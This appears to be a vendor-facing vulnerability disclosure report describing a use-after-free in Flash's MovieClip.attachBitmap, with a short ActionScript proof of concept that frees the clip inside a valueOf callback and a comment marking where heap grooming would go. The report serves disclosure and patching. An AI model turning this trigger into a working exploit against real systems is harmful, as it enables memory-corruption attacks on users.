There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap here

        return 5;
	
	}
	
	


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

attachbmp.fla 5.1 KB Download

attachbmp.swf 968 bytes Download